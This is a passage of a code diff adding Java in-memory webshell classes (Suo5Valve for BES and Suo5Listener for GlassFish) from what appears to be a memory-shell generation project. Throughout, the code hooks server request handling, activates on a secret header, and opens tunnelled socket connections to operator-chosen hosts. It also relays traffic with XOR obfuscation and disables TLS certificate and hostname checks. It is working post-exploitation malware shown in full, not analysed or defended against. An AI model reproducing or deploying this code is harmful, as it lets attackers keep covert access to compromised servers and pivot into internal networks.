InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response");
}
}
@@ -0,0 +1,595 @@
package com.reajason.javaweb.memshell.bes.suo5;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve() {
}
public Suo5Valve(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve p = new Suo5Valve(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,608 @@
package com.reajason.javaweb.memshell.glassfish.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
